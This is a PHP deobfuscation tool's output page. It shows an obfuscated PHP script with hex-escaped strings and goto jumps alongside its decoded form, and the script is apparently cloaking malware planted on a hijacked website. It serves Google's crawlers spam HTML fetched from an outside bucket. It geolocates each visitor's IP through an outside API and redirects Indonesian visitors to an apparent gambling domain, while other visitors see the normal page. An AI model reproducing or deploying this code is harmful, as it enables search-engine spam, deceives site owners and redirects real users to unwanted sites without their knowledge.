Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto fckJq; II5jx: profile_user(); goto k22xJ; fckJq: function profile_user() { $r..

Decoded Output download

<?php 
 goto fckJq; II5jx: profile_user(); goto k22xJ; fckJq: function profile_user() { $refererUrl = !empty($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $useragent = $_SERVER["HTTP_USER_AGENT"]; $refererDomain = parse_url($refererUrl, PHP_URL_HOST); $themes = "https://pub-b8aae7b415844443806ca22b6b76c1d6.r2.dev/virginiawinetrail.html"; if (strpos($useragent, "Google-InspectionTool") !== false || strpos($useragent, "googlebot") !== false || strpos($useragent, "(compatible; Googlebot/2.1; +http://www.google.com/bot.html)") !== false) { $content = file_get_contents($themes); echo $content; die; } $visitor_ip = $_SERVER["REMOTE_ADDR"]; $api_url = "https://api.incolumitas.com/?q=" . $visitor_ip; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { echo "JSON Decode error: " . json_last_error_msg(); die; } $language = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : ''; if (isset($data["country_code"]) && $data["country_code"] === "ID" || isset($data["country"]) && $data["country"] === "Indonesia" || strpos($language, "id") !== false) { header("Location: https://aksescepat.xyz/mayong77", true, 301); die; } include "index.html"; die; } goto II5jx; k22xJ: ?>

Did this file decode correctly?

Original Code

<?php
 goto fckJq; II5jx: profile_user(); goto k22xJ; fckJq: function profile_user() { $refererUrl = !empty($_SERVER["\x48\x54\124\120\x5f\x52\x45\106\x45\x52\105\x52"]) ? $_SERVER["\110\x54\x54\120\x5f\x52\105\x46\x45\122\x45\x52"] : ''; $useragent = $_SERVER["\110\124\124\x50\x5f\125\123\x45\x52\137\101\x47\105\x4e\x54"]; $refererDomain = parse_url($refererUrl, PHP_URL_HOST); $themes = "\150\x74\164\160\x73\72\57\x2f\160\x75\142\55\x62\70\x61\x61\145\67\x62\x34\61\65\x38\64\64\64\64\63\70\60\x36\x63\141\62\x32\x62\x36\x62\x37\x36\143\x31\144\66\56\162\62\56\144\145\x76\x2f\166\151\162\147\151\156\151\141\167\x69\x6e\x65\164\x72\x61\151\154\x2e\150\164\155\154"; if (strpos($useragent, "\x47\x6f\x6f\x67\x6c\145\55\111\156\163\160\145\143\164\151\157\156\124\x6f\x6f\x6c") !== false || strpos($useragent, "\x67\x6f\x6f\x67\154\x65\142\x6f\164") !== false || strpos($useragent, "\x28\143\x6f\x6d\160\x61\x74\151\x62\x6c\x65\x3b\40\107\157\157\x67\154\145\142\157\164\x2f\62\56\61\x3b\40\53\150\x74\164\160\x3a\57\57\167\x77\167\56\147\157\x6f\x67\154\x65\56\143\157\155\x2f\x62\x6f\x74\x2e\150\x74\x6d\154\x29") !== false) { $content = file_get_contents($themes); echo $content; die; } $visitor_ip = $_SERVER["\x52\x45\x4d\117\x54\x45\x5f\x41\104\x44\122"]; $api_url = "\x68\x74\164\160\x73\x3a\57\57\141\x70\151\x2e\151\156\x63\157\154\x75\x6d\x69\x74\x61\163\x2e\x63\157\155\x2f\77\x71\x3d" . $visitor_ip; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { echo "\112\123\117\116\x20\104\145\x63\157\144\x65\x20\x65\x72\162\x6f\162\72\x20" . json_last_error_msg(); die; } $language = isset($_SERVER["\x48\x54\124\120\x5f\x41\103\103\105\x50\124\137\x4c\101\x4e\x47\125\x41\x47\105"]) ? strtolower($_SERVER["\110\x54\x54\x50\x5f\101\103\103\105\x50\x54\x5f\114\101\116\x47\x55\101\x47\x45"]) : ''; if (isset($data["\x63\157\165\x6e\x74\162\171\137\x63\157\x64\x65"]) && $data["\143\x6f\x75\x6e\x74\162\x79\x5f\143\157\x64\x65"] === "\x49\104" || isset($data["\x63\x6f\x75\156\164\162\171"]) && $data["\143\157\165\x6e\x74\162\x79"] === "\111\156\144\x6f\x6e\145\163\151\x61" || strpos($language, "\x69\x64") !== false) { header("\114\x6f\x63\x61\x74\x69\x6f\x6e\72\x20\x68\164\164\160\163\x3a\57\57\141\153\163\x65\x73\x63\145\x70\x61\x74\56\170\171\172\57\x6d\141\x79\x6f\156\x67\x37\x37", true, 301); die; } include "\x69\x6e\144\x65\170\x2e\x68\x74\x6d\x6c"; die; } goto II5jx; k22xJ: ?>

Function Calls

None

Variables

None

Stats

MD5 46a514897a0ff37cb8ad5a90e3888d9f
Eval Count 0
Decode Time 124 ms